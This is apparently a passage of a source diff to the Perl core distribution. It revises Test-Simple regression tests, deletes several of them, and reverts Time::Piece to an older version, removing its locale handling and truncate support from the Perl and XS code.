b/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t @@ -1,67 +1,62 @@ use strict; use warnings; +use Test2::IPC; use Test2::Tools::Tiny; +use Test2::API qw/context test2_stack/; use Test2::Util qw/CAN_FORK/; BEGIN { - skip_all "Set AUTHOR_TESTING to run this test" unless $ENV{AUTHOR_TESTING}; skip_all "System cannot fork" unless CAN_FORK; - skip_all "known to fail on $]" if $] le "5.006002"; } -use IPC::Open3 qw/open3/; -use File::Temp qw/tempdir/; - -my $tempdir = tempdir(CLEANUP => 1); - -open(my $stdout, '>', "$tempdir/stdout") or die "Could not open: $!"; -open(my $stderr, '>', "$tempdir/stderr") or die "Could not open: $!"; - -my $pid = open3(undef, ">&" . fileno($stdout), ">&" . fileno($stderr), $^X, '-Ilib', '-e', <<'EOT'); -use Test2::IPC::Driver::Files; -use Test2::IPC; -use Test2::Tools::Tiny; -use Test2::API qw/test2_ipc/; -plan 1; -ok(1); - -my $tmpdir = test2_ipc()->tempdir; -open(my $fh, '>', "$tmpdir/leftover") or die "Could not open file: $!"; -print $fh "XXX\n"; -close($fh) or die "Could not clone file"; +plan(3); -print "TEMPDIR: $tmpdir\n"; +pipe(my ($read, $write)); -exit 100; +test2_stack()->top; +my $hub = test2_stack()->new_hub(); -EOT +my $pid = fork(); +die "Failed to fork" unless defined $pid; -waitpid($pid, 0); -my $exit = $?; - -open($stdout, '<', "$tempdir/stdout") or die "Could not open: $!"; -open($stderr, '<', "$tempdir/stderr") or die "Could not open: $!"; - -$stdout = join "" => <$stdout>; -$stderr = join "" => <$stderr>; - -is(($exit >> 8), 255, "exited 255"); -like($stderr, qr{^IPC Fatal Error: Leftover files in the directory \(.*/leftover\)!$}m, "Got expected error"); -like($stdout, qr{^Bail out! IPC Fatal Error: Leftover files in the directory \(.*leftover\)!$}m, "Got a bail printed"); - -if(ok($stdout =~ m/^TEMPDIR: (.*)$/m, "Found temp dir")) { - chomp(my $tmpdir = $1); - if (-d $tmpdir) { - note "Cleaning up temp dir\n"; - - opendir(my $dh, $tmpdir) or diag "Could not open temp dir: $!"; - for my $file (readdir($dh)) { - next if $file =~ m/^\./; - unlink("$tmpdir/$file") or diag "Could not remove $tmpdir/$file: $!"; - } - closedir($dh); - rmdir($tmpdir) or diag "Could not remove temp dir: $!"; - } +if ($pid) { + close($read); + test2_stack()->pop($hub); + $hub = undef; + print $write "Go\n"; + close($write); + waitpid($pid, 0); + my $err = $? >> 8; + is($err, 255, "Exit code was not masked"); + ok($err != 100, "Did not hit the safety exit"); +} +else { + close($write); + my $ignore = <$read>; + close($read); + close(STDERR); + close(STDOUT); + open(STDERR, '>', my $x); + my $ctx = context(hub => $hub, level => -1); + my $clone = $ctx->snapshot; + $ctx->release; + $clone->ok(0, "Should not see this"); + print STDERR "\n\nSomething went wrong!!!!\n\n"; + exit 100; # Safety exit +}; + + +# The rest of this is to make sure nothing that happens when reading the event +# messes with $?. + +pipe($read, $write); + +$pid = fork; +die "Failed to fork" unless defined $pid; + +unless($pid) { + my $ignore = <$read>; + ok(1, "Test in forked process"); } -done_testing; +print $write "Go\n"; diff --git a/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm b/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm index 62c97ecb0f3e..bbdf73268fb3 100644 --- a/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm +++ b/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm @@ -53,9 +53,6 @@ sub create { my $class = shift; my $self = $class->SUPER::create(@_); - require Test::Builder::Formatter; - $self->{Stack}->top->format(Test::Builder::Formatter->new); - my %outputs = ( all => '', out => '', diff --git a/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm b/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm index 2a6548fa344b..9a2efb192d6c 100644 --- a/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm +++ b/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm @@ -10,9 +10,7 @@ my $out = tie *$out_fh, 'TieOut'; my $err = tie *$err_fh, 'TieOut'; use Test::Builder; -require Test::Builder::Formatter; my $t = Test::Builder->new; -$t->{Stack}->top->format(Test::Builder::Formatter->new); $t->output($out_fh); $t->failure_output($err_fh); $t->todo_output($err_fh); diff --git a/cpan/Test-Simple/t/regression/696-intercept_skip_all.t b/cpan/Test-Simple/t/regression/696-intercept_skip_all.t index faa84a206dd2..1362e1046f31 100644 --- a/cpan/Test-Simple/t/regression/696-intercept_skip_all.t +++ b/cpan/Test-Simple/t/regression/696-intercept_skip_all.t @@ -29,7 +29,7 @@ tests no_eval => sub { tests in_require => sub { my $events = intercept { - require './t/lib/SkipAll.pm'; + require 't/lib/SkipAll.pm'; die "Should not see this: $@"; }; diff --git a/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t b/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t index a8a82870596b..b97e0e6a03e1 100644 --- a/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t +++ b/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t @@ -5,95 +5,92 @@ use Test2::Tools::Tiny; # This module's exports interfere with the ones in t/tools.pl use Test::More (); -use Test::Builder::Formatter(); use Test2::API qw/run_subtest test2_stack/; { - test2_stack->top; - my $temp_hub = test2_stack->new_hub(); - $temp_hub->format(Test::Builder::Formatter->new()); + test2_stack->top; + my $temp_hub = test2_stack->new_hub(); - my $output = capture { - run_subtest( - 'parent', - sub { - run_subtest( - 'buffered', - sub { - ok(1, 'b1'); - ok(1, 'b2'); - }, - {buffered => 1}, - ); - run_subtest( - 'streamed', - sub { - ok(1, 's1'); - ok(1, 's2'); - }, - {buffered => 0}, - ); - }, - {buffered => 1}, - ); - }; + my $output = capture { + run_subtest( + 'parent', + sub { + run_subtest( + 'buffered', + sub { + ok(1, 'b1'); + ok(1, 'b2'); + }, + {buffered => 1}, + ); + run_subtest( + 'streamed', + sub { + ok(1, 's1'); + ok(1, 's2'); + }, + {buffered => 0}, + ); + }, + {buffered => 1}, + ); + }; - test2_stack->pop($temp_hub); + test2_stack->pop($temp_hub); - Test::More::subtest( - 'Test2::API::run_subtest', - sub { - is($output->{STDERR}, q{}, 'no output on stderr'); - like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest'); - like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest'); - like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest'); - like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest'); - } - ); + Test::More::subtest( + 'Test2::API::run_subtest', + sub { + is($output->{STDERR}, q{}, 'no output on stderr'); + like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest'); + like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest'); + like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest'); + like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest'); + } + ); } { - test2_stack->top; - my $temp_hub = test2_stack->new_hub(); - $temp_hub->format(Test::Builder::Formatter->new()); + test2_stack->top; + my $temp_hub = test2_stack->new_hub(); - my $output = capture { - run_subtest( - 'parent', - sub { - run_subtest( - 'buffered', - sub { - ok(1, 'b1'); - ok(1, 'b2'); - }, - {buffered => 1}, - ); - Test::More::subtest( - 'streamed', - sub { - ok(1, 's1'); - ok(1, 's2'); - }, - {buffered => 0}, - ); - }, - {buffered => 1}, - ); - }; + my $output = capture { + run_subtest( + 'parent', + sub { + run_subtest( + 'buffered', + sub { + ok(1, 'b1'); + ok(1, 'b2'); + }, + {buffered => 1}, + ); + Test::More::subtest( + 'streamed', + sub { + ok(1, 's1'); + ok(1, 's2'); + }, + {buffered => 0}, + ); + }, + {buffered => 1}, + ); + }; - test2_stack->pop($temp_hub); + test2_stack->pop($temp_hub); - Test::More::subtest( - 'Test::More::subtest and Test2::API::run_subtest', - sub { - is($output->{STDERR}, q{}, 'no output on stderr'); - like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest'); - like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest'); - like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest'); - like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest'); - } - ); + Test::More::subtest( + 'Test::More::subtest and Test2::API::run_subtest', + sub { + is($output->{STDERR}, q{}, 'no output on stderr'); + like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest'); + like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest'); + like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest'); + like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest'); + } + ); } done_testing; diff --git a/cpan/Test-Simple/t/regression/757-reset_in_subtest.t b/cpan/Test-Simple/t/regression/757-reset_in_subtest.t deleted file mode 100644 index 846a34d835c7..000000000000 --- a/cpan/Test-Simple/t/regression/757-reset_in_subtest.t +++ /dev/null @@ -1,20 +0,0 @@ -use strict; -use warnings; - -use Test::More; - -subtest 'subtest' => sub { - Test::Builder->new->reset; - ok 1; -}; - -subtest 'subtest' => sub { - Test::Builder->new->reset; - subtest 'subtest' => sub { - Test::Builder->new->reset; - ok 1; - }; - ok 1; -}; - -done_testing; diff --git a/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t b/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t deleted file mode 100644 index e46697a23ce9..000000000000 --- a/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t +++ /dev/null @@ -1,39 +0,0 @@ -use Test2::Tools::Tiny; -use strict; -use warnings; - -use Test2::API qw/intercept test2_stack/; -use Data::Dumper; - -sub hide_buffered { 0 } - -sub write { - my $self = shift; - my ($e) = @_; - - push @{$self->{events}} => $e; -} - -sub finalize { } - -my $events; -intercept { - my $hub = test2_stack()->top; - my $formatter = bless({}, __PACKAGE__); - $hub->format($formatter); - tests xxx => sub { - ok(1, "pass"); - }; - - $events = $formatter->{events}; -}; - -pop @$events; - - -for my $e (@$events) { - ok($e->trace->buffered, "Buffered events are all listed as buffered") || diag(Dumper($e)); -} - -done_testing; - diff --git a/cpan/Test-Simple/t/regression/builder_does_not_init.t b/cpan/Test-Simple/t/regression/builder_does_not_init.t deleted file mode 100644 index 1f24ef295744..000000000000 --- a/cpan/Test-Simple/t/regression/builder_does_not_init.t +++ /dev/null @@ -1,18 +0,0 @@ -use strict; -use warnings; - -use Carp qw/confess/; -use Test2::API::Instance; - -BEGIN { - no warnings 'redefine'; - local *Test2::API::Instance::_finalize = sub { confess "_finalize called\n" }; - local *Test2::API::Instance::load = sub { confess "load called\n" }; - - require Test::Builder; -} - -use Test2::Tools::Tiny; - -ok(1, "Did not die"); -done_testing(); diff --git a/cpan/Test-Simple/t/regression/errors_facet.t b/cpan/Test-Simple/t/regression/errors_facet.t deleted file mode 100644 index c4e30f995cc0..000000000000 --- a/cpan/Test-Simple/t/regression/errors_facet.t +++ /dev/null @@ -1,53 +0,0 @@ -use Test2::Tools::Tiny; -use Test2::API qw/intercept context/; - -{ - $INC{'My/Event.pm'} = 1; - - package My::Event; - use base 'Test2::Event'; - - use Test2::Util::Facets2Legacy ':ALL'; - - sub facet_data { - my $self = shift; - - my $out = $self->common_facet_data; - - $out->{errors} = [{tag => 'OOPS', fail => !$ENV{FAILURE_DO_PASS}, details => "An error occured"}]; - - return $out; - } -} - -sub error { - my $ctx = context(); - my $e = $ctx->send_event('+My::Event'); - $ctx->release; - return $e; -} - -my $events = intercept { - tests foo => sub { - ok(1, "need at least 1 assertion"); - error(); - }; -}; - -ok(!$events->[0]->pass, "Subtest did not pass"); - -my ($passing_a, $passing_b); -intercept { - my $hub = Test2::API::test2_stack->top; - - $passing_a = $hub->is_passing; - - error(); - - $passing_b = $hub->is_passing; -}; - -ok($passing_a, "Passign before error"); -ok(!$passing_b, "Not passing after error"); - -done_testing; diff --git a/cpan/Test-Simple/t/regression/inherit_trace.t b/cpan/Test-Simple/t/regression/inherit_trace.t deleted file mode 100644 index 4c1aa6cf9664..000000000000 --- a/cpan/Test-Simple/t/regression/inherit_trace.t +++ /dev/null @@ -1,33 +0,0 @@ -use Test2::Tools::Tiny; -use strict; -use warnings; - -use Test2::API qw/context run_subtest intercept/; - -sub do_it { - my $ctx = context(); - - run_subtest foo => sub { - ok(1, "pass"); - }, {inherit_trace => 1}; - - $ctx->release; -} - -do_it(); -do_it(); - -my $events = intercept { - do_it(); - do_it(); -}; - -for my $st (@$events) { - next unless $st->isa('Test2::Event::Subtest'); - - is($st->trace->nested, 0, "base subtest is not nested"); - - is($_->trace->nested, 1, "subevent is nested") for @{$st->subevents}; -} - -done_testing; diff --git a/cpan/Test-Simple/t/regression/todo_and_facets.t b/cpan/Test-Simple/t/regression/todo_and_facets.t deleted file mode 100644 index 28594b1a3e69..000000000000 --- a/cpan/Test-Simple/t/regression/todo_and_facets.t +++ /dev/null @@ -1,52 +0,0 @@ -use strict; -use warnings; - -use Test2::API qw/context/; - -use Test2::Tools::Tiny qw/done_testing todo/; -use Test::More(); - -BEGIN { - *tm_ok = \&Test::More::ok; - *tm_pass = \&Test::More::pass; - *tm_fail = \&Test::More::fail; -} - -use vars qw/$TODO/; - -sub leg_ok($;$@) { - my ($bool, $name, @diag); - my $ctx = context(); - $ctx->ok($bool, $name, \@diag); - $ctx->release; - - return $bool; -} - -sub new_ok($;$@) { - my ($bool, $name, @diag) = @_; - my $ctx = context(); - - return $ctx->pass_and_release($name) if $bool; - return $ctx->fail_and_release($name, @diag); -} - -{ - local $TODO = "Testing TODO"; - - tm_ok(0, "tm_ok fail"); - tm_fail('tm_fail'); - - leg_ok(0, "legacy ok fail"); - new_ok(0, "new ok fail"); -} - -todo new_todo_test => sub { - tm_ok(0, "tm_ok fail"); - tm_fail('tm_fail'); - - leg_ok(0, "legacy ok fail"); - new_ok(0, "new ok fail"); -}; - -done_testing; diff --git a/cpan/Time-Piece/Piece.pm b/cpan/Time-Piece/Piece.pm index 8acba86e76c5..6dbf4d69c44f 100644 --- a/cpan/Time-Piece/Piece.pm +++ b/cpan/Time-Piece/Piece.pm @@ -2,11 +2,13 @@ package Time::Piece; use strict; -use XSLoader (); +require DynaLoader; use Time::Seconds; use Carp; use Time::Local; +our @ISA = qw(DynaLoader); + use Exporter (); our @EXPORT = qw( @@ -18,9 +20,9 @@ our %EXPORT_TAGS = ( ':override' => 'internal', ); -our $VERSION = '1.3204'; +our $VERSION = '1.31'; -XSLoader::load( 'Time::Piece', $VERSION ); +bootstrap Time::Piece $VERSION; my $DATE_SEP = '-'; my $TIME_SEP = ':'; @@ -29,9 +31,6 @@ my @FULLMON_LIST = qw(January February March April May June July August September October November December); my @DAY_LIST = qw(Sun Mon Tue Wed Thu Fri Sat); my @FULLDAY_LIST = qw(Sunday Monday Tuesday Wednesday Thursday Friday Saturday); -my $IS_WIN32 = ($^O =~ /Win32/); - -my $LOCALE; use constant { 'c_sec' => 0, @@ -69,10 +68,7 @@ sub new { my $self; - if (ref($time)) { - $self = $time->[c_islocal] ? $class->localtime($time) : $class->gmtime($time); - } - elsif (defined($time)) { + if (defined($time)) { $self = $class->localtime($time); } elsif (ref($class) && $class->isa(__PACKAGE__)) { @@ -100,21 +96,19 @@ sub parse { @components = shift =~ /(\d+)$DATE_SEP(\d+)$DATE_SEP(\d+)(?:(?:T|\s+)(\d+)$TIME_SEP(\d+)(?:$TIME_SEP(\d+)))/; @components = reverse(@components[0..5]); } - return $class->new( timelocal(@components )); + return $class->new(_strftime("%s", timelocal(@components))); } sub _mktime { my ($class, $time, $islocal) = @_; - $class = eval { (ref $class) && (ref $class)->isa('Time::Piece') } ? ref $class : $class; if (ref($time)) { - my @new_time = @$time; - my @tm_parts = (@new_time[c_sec .. c_mon], $new_time[c_year]+1900); - $new_time[c_epoch] = $islocal ? timelocal(@tm_parts) : timegm(@tm_parts); + my @tm_parts = (@{$time}[c_sec .. c_mon], $time->[c_year]+1900); + $time->[c_epoch] = $islocal ? timelocal(@tm_parts) : timegm(@tm_parts); - return wantarray ? @new_time : bless [@new_time[0..9], $islocal], $class; + return wantarray ? @$time : bless [@$time[0..9], $islocal], $class; } _tzset(); my @time = $islocal ? @@ -462,127 +456,31 @@ sub month_last_day { return $MON_LAST[$_mon] + ($_mon == 1 ? _is_leap_year($year) : 0); } -my $trans_map_common = { - - 'c' => sub { - my ( $format ) = @_; - if($LOCALE->{PM} && $LOCALE->{AM}){ - $format =~ s/%c/%a %d %b %Y %I:%M:%S %p/; - } - else{ - $format =~ s/%c/%a %d %b %Y %H:%M:%S/; - } - return $format; - }, - 'r' => sub { - my ( $format ) = @_; - if($LOCALE->{PM} && $LOCALE->{AM}){ - $format =~ s/%r/%I:%M:%S %p/; - } - else{ - $format =~ s/%r/%H:%M:%S/; - } - return $format; - }, - 'X' => sub { - my ( $format ) = @_; - if($LOCALE->{PM} && $LOCALE->{AM}){ - $format =~ s/%X/%I:%M:%S %p/; - } - else{ - $format =~ s/%X/%H:%M:%S/; - } - return $format; - }, -}; - -my $strftime_trans_map = { - %{$trans_map_common}, - - 'e' => sub { - my ( $format, $time ) = @_; - $format =~ s/%e/%d/ if $IS_WIN32; - return $format; - }, - 'D' => sub { - my ( $format, $time ) = @_; - $format =~ s/%D/%m\/%d\/%y/; - return $format; - }, - 'F' => sub { - my ( $format, $time ) = @_; - $format =~ s/%F/%Y-%m-%d/; - return $format; - }, - 'R' => sub { - my ( $format, $time ) = @_; - $format =~ s/%R/%H:%M/; - return $format; - }, - 's' => sub { - #%s not portable if time parts are from gmtime since %s will - #cause a call to native mktime (and thus uses local TZ) - my ( $format, $time ) = @_; - $format =~ s/%s/$time->[c_epoch]/; - return $format; - }, - 'T' => sub { - my ( $format, $time ) = @_; - $format =~ s/%T/%H:%M:%S/ if $IS_WIN32; - return $format; - }, - 'u' => sub { - my ( $format, $time ) = @_; - $format =~ s/%u/%w/ if $IS_WIN32; - return $format; - }, - 'V' => sub { - my ( $format, $time ) = @_; - my $week = sprintf( "%02d", $time->week() ); - $format =~ s/%V/$week/ if $IS_WIN32; - return $format; - }, - 'x' => sub { - my ( $format, $time ) = @_; - $format =~ s/%x/%a %d %b %Y/; - return $format; - }, - 'z' => sub { #%[zZ] not portable if time parts are from gmtime - my ( $format, $time ) = @_; - $format =~ s/%z/+0000/ if not $time->[c_islocal]; - return $format; - }, - 'Z' => sub { - my ( $format, $time ) = @_; - $format =~ s/%Z/UTC/ if not $time->[c_islocal]; - return $format; - }, -}; +#since %z and %Z are not portable lets just +#parse it out before calling native strftime +#(but only if we are in UTC time) +my %GMT_REPR = ( + '%z' => '+0000', + '%Z' => 'UTC', +); sub strftime { my $time = shift; my $format = @_ ? shift(@_) : '%a, %d %b %Y %H:%M:%S %Z'; - $format = _translate_format($format, $strftime_trans_map, $time); - - return $format unless $format =~ /%/; #if translate removes everything + if (! $time->[c_islocal]) { + $format =~ s/(%.)/$GMT_REPR{$1} || $1/eg; + } return _strftime($format, $time->epoch, $time->[c_islocal]); } -my $strptime_trans_map = { - %{$trans_map_common}, -}; - sub strptime { my $time = shift; my $string = shift; my $format = @_ ? shift(@_) : "%a, %d %b %Y %H:%M:%S %Z"; - my $islocal = (ref($time) ? $time->[c_islocal] : 0); - my $locales = $LOCALE || &Time::Piece::_default_locale(); - $format = _translate_format($format, $strptime_trans_map); - my @vals = _strptime($string, $format, $islocal, $locales); -# warn(sprintf("got vals: %d-%d-%d %d:%d:%d\n", reverse(@vals[c_sec..c_year]))); - return scalar $time->_mktime(\@vals, $islocal); + my @vals = _strptime($string, $format); +# warn(sprintf("got vals: %d-%d-%d %d:%d:%d\n", reverse(@vals))); + return scalar $time->_mktime(\@vals, (ref($time) ? $time->[c_islocal] : 0)); } sub day_list { @@ -590,7 +488,6 @@ sub day_list { my @old = @DAY_LIST; if (@_) { @DAY_LIST = @_; - &Time::Piece::_default_locale(); } return @old; } @@ -600,7 +497,6 @@ sub mon_list { my @old = @MON_LIST; if (@_) { @MON_LIST = @_; - &Time::Piece::_default_locale(); } return @old; } @@ -738,132 +634,6 @@ sub add_years { $time->add_months($years * 12); } -sub truncate { - my ($time, %params) = @_; - return $time unless exists $params{to}; - #if ($params{to} eq 'week') { return $time->_truncate_week; } - my %units = ( - second => 0, - minute => 1, - hour => 2, - day => 3, - month => 4, - quarter => 5, - year => 5 - ); - my $to = $units{$params{to}}; - croak "Invalid value of 'to' parameter: $params{to}" unless defined $to; - my $start_month = 0; - if ($params{to} eq 'quarter') { - $start_month = int( $time->_mon / 3 ) * 3; - } - my @down_to = (0, 0, 0, 1, $start_month, $time->year); - return $time->_mktime([@down_to[0..$to-1], @$time[$to..c_isdst]], - $time->[c_islocal]); -} - -#Given a format and a translate map, replace format flags in -#accordance with the logic from the translation map subroutines -sub _translate_format { - my ( $format, $trans_map, $time ) = @_; - - $format =~ s/%%/\e\e/g; #escape the escape - my $lexer = _build_format_lexer($format); - - while(my $flag = $lexer->() ){ - next unless exists $trans_map->{$flag}; - $format = $trans_map->{$flag}($format, $time); - } - - $format =~ s/\e\e/%%/g; - return $format; -} - -sub _build_format_lexer { - my $format = shift(); - - #Higher Order Perl p.359 (or thereabouts) - return sub { - LABEL: { - return $1 if $format =~ m/\G%([a-zA-Z])/gc; #return single char flags - - redo LABEL if $format =~ m/\G(.)/gc; - return; #return at empty string - } - }; -} - -sub use_locale { - #get locale month/day names from posix strftime (from Piece.xs) - my $locales = _get_localization(); - - $locales->{PM} ||= ''; - $locales->{AM} ||= ''; - - $locales->{pm} = lc $locales->{PM}; - $locales->{am} = lc $locales->{AM}; - #should probably figure out how to get a - #region specific format for %c someday - $locales->{c_fmt} = ''; - - #Set globals. If anything is - #weird just use original - if( @{$locales->{weekday}} < 7 ){ - @{$locales->{weekday}} = @FULLDAY_LIST; - } - else { - @FULLDAY_LIST = @{$locales->{weekday}}; - } - - if( @{$locales->{wday}} < 7 ){ - @{$locales->{wday}} = @DAY_LIST; - } - else { - @DAY_LIST = @{$locales->{wday}}; - } - - if( @{$locales->{month}} < 12 ){ - @{$locales->{month}} = @FULLMON_LIST; - }else { - @FULLMON_LIST = @{$locales->{month}}; - } - - if( @{$locales->{mon}} < 12 ){ - @{$locales->{mon}} = @MON_LIST; - } - else{ - @MON_LIST= @{$locales->{mon}}; - } - - $LOCALE = $locales; -} - -#$Time::Piece::LOCALE is used by strptime and thus needs to be -#in sync with what ever users change to via day_list() and mon_list(). -#Should probably deprecate this use of gloabl state, but oh well... -sub _default_locale { - my $locales = {}; - - @{ $locales->{weekday} } = @FULLDAY_LIST; - @{ $locales->{wday} } = @DAY_LIST; - @{ $locales->{month} } = @FULLMON_LIST; - @{ $locales->{mon} } = @MON_LIST; - $locales->{alt_month} = $locales->{month}; - - $locales->{PM} = 'PM'; - $locales->{AM} = 'AM'; - $locales->{pm} = 'pm'; - $locales->{am} = 'am'; - $locales->{c_fmt} = ''; - - $LOCALE = $locales; -} - -sub _locale { - return $LOCALE; -} - - 1; __END__ @@ -888,7 +658,7 @@ in perlfunc will still return what you expect. The module actually implements most of an interface described by Larry Wall on the perl5-porters mailing list here: -L +http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2000-01/msg00241.html =head1 USAGE @@ -969,8 +739,7 @@ methods. Both wdayname (day) and monname (month) allow passing in a list to use to index the name of the days against. This can be useful if you need to implement some form of localisation without actually installing or -using locales. Note that this is a global override and will affect -all Time::Piece instances. +using locales. my @days = qw( Dimanche Lundi Merdi Mercredi Jeudi Vendredi Samedi ); @@ -988,9 +757,6 @@ And locally for months: print localtime->month(@months); -Or to populate with your current system locale call: - Time::Piece->use_locale(); - =head2 Date Calculations It's possible to use simple addition and subtraction of objects: @@ -1017,8 +783,8 @@ days, weeks and years in that delta, using the Time::Seconds API. In addition to adding seconds, there are two APIs for adding months and years: - $t = $t->add_months(6); - $t = $t->add_years(5); + $t->add_months(6); + $t->add_years(5); The months and years can be negative for subtractions. Note that there is some "strange" behaviour when adding and subtracting months at the @@ -1028,17 +794,6 @@ subtracting a month from 2008-03-31 will not result in 2008-02-31 as this is an impossible date. Instead you will get 2008-03-02. This appears to be consistent with other date manipulation tools. -=head2 Truncation - -Calling the C method returns a copy of the object but with the -time truncated to the start of the supplied unit. - - $t = $t->truncate(to => 'day'); - -This example will set the time to midnight on the same date which C<$t> -had previously. Allowed values for the "to" parameter are: "year", -"quarter", "month", "day", "hour", "minute" and "second". - =head2 Date Comparisons Date comparisons are also possible, using the full suite of "<", ">", @@ -1063,34 +818,7 @@ Outputs: For more information see "man strptime", which should be on all unix systems. -Alternatively look here: L - -=head3 CAVEAT %A, %a, %B, %b, and friends - -Time::Piece::strptime by default can only parse American English date names. -Meanwhile, Time::Piece->strftime() will return date names that use the current -configured system locale. This means dates returned by strftime might not be -able to be parsed by strptime. This is the default behavior and can be -overridden by calling Time::Piece->use_locale(). This builds a list of the -current locale's day and month names which strptime will use to parse with. -Note this is a global override and will affect all Time::Piece instances. - -For instance with a German locale: - - localtime->day_list(); - -Returns - - ( 'Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat' ) - -While: - - Time::Piece->use_locale(); - localtime->day_list(); - -Returns - - ( 'So', 'Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa' ) +Alternatively look here: http://www.unix.com/man-page/FreeBSD/3/strftime/ =head2 YYYY-MM-DDThh:mm:ss @@ -1158,7 +886,7 @@ as Perl. =head1 SEE ALSO -The excellent Calendar FAQ at L +The excellent Calendar FAQ at http://www.tondering.dk/claus/calendar.html =head1 BUGS diff --git a/cpan/Time-Piece/Piece.xs b/cpan/Time-Piece/Piece.xs index 8164cdd73a9e..3441bd799b8d 100644 --- a/cpan/Time-Piece/Piece.xs +++ b/cpan/Time-Piece/Piece.xs @@ -10,6 +10,30 @@ extern "C" { } #endif +/* XXX struct tm on some systems (SunOS4/BSD) contains extra (non POSIX) + * fields for which we don't have Configure support prior to Perl 5.8.0: + * char *tm_zone; -- abbreviation of timezone name + * long tm_gmtoff; -- offset from GMT in seconds + * To workaround core dumps from the uninitialised tm_zone we get the + * system to give us a reasonable struct to copy. This fix means that + * strftime uses the tm_zone and tm_gmtoff values returned by + * localtime(time()). That should give the desired result most of the + * time. But probably not always! + * + * This is a vestigial workaround for Perls prior to 5.8.0. We now + * rely on the initialization (still likely a workaround) in util.c. + */ +#if !defined(PERL_VERSION) || PERL_VERSION < 8 + +#if defined(HAS_GNULIBC) +# ifndef STRUCT_TM_HASZONE +# define STRUCT_TM_HASZONE +# else +# define USE_TM_GMTOFF +# endif +#endif + +#endif /* end of pre-5.8 */ #define DAYS_PER_YEAR 365 #define DAYS_PER_QYEAR (4*DAYS_PER_YEAR+1) @@ -24,7 +48,26 @@ extern "C" { #define YEAR_ADJUST (4*MONTH_TO_DAYS+1) /* as used here, the algorithm leaves Sunday as day 1 unless we adjust it */ #define WEEKDAY_BIAS 6 /* (1+6)%7 makes Sunday 0 again */ -#define TP_BUF_SIZE 160 + +#if !defined(PERL_VERSION) || PERL_VERSION < 8 + +#ifdef STRUCT_TM_HASZONE +static void +my_init_tm(struct tm *ptm) /* see mktime, strftime and asctime */ +{ + Time_t now; + (void)time(&now); + Copy(localtime(&now), ptm, 1, struct tm); +} + +#else +# define my_init_tm(ptm) +#endif + +#else +/* use core version from util.c in 5.8.0 and later */ +# define my_init_tm init_tm +#endif #ifdef WIN32 @@ -111,7 +154,7 @@ fix_win32_tzenv(void) crt_tz_env = ""; if (strcmp(perl_tz_env, crt_tz_env) != 0) { STRLEN perl_tz_env_len = strlen(perl_tz_env); - newenv = (char*)malloc(perl_tz_env_len + 4); + newenv = (char*)malloc((perl_tz_env_len + 4) * sizeof(char)); if (newenv != NULL) { /* putenv with old MS CRTs will cause a double free internally if you delete an env var with the CRT env that doesn't exist in Win32 env (perl %ENV only @@ -326,19 +369,81 @@ static char * _strptime(pTHX_ const char *, const char *, struct tm *, #define asizeof(a) (sizeof (a) / sizeof ((a)[0])) struct lc_time_T { - char * mon[12]; - char * month[12]; - char * wday[7]; - char * weekday[7]; - char * am; - char * pm; - char * AM; - char * PM; - char * alt_month[12]; + const char * mon[12]; + const char * month[12]; + const char * wday[7]; + const char * weekday[7]; + const char * X_fmt; + const char * x_fmt; + const char * c_fmt; + const char * am; + const char * pm; + const char * date_fmt; + const char * alt_month[12]; + const char * Ef_fmt; + const char * EF_fmt; }; - -static struct lc_time_T _C_time_locale; +struct lc_time_T _time_localebuf; +int _time_using_locale; + +const struct lc_time_T _C_time_locale = { + { + "Jan", "Feb", "Mar", "Apr", "May", "Jun", + "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" + }, { + "January", "February", "March", "April", "May", "June", + "July", "August", "September", "October", "November", "December" + }, { + "Sun", "Mon", "Tue", "Wed", + "Thu", "Fri", "Sat" + }, { + "Sunday", "Monday", "Tuesday", "Wednesday", + "Thursday", "Friday", "Saturday" + }, + + /* X_fmt */ + "%H:%M:%S", + + /* + ** x_fmt + ** Since the C language standard calls for + ** "date, using locale's date format," anything goes. + ** Using just numbers (as here) makes Quakers happier; + ** it's also compatible with SVR4. + */ + "%m/%d/%y", + + /* + ** c_fmt (ctime-compatible) + ** Not used, just compatibility placeholder. + */ + NULL, + + /* am */ + "AM", + + /* pm */ + "PM", + + /* date_fmt */ + "%a %Ef %X %Z %Y", + + { + "January", "February", "March", "April", "May", "June", + "July", "August", "September", "October", "November", 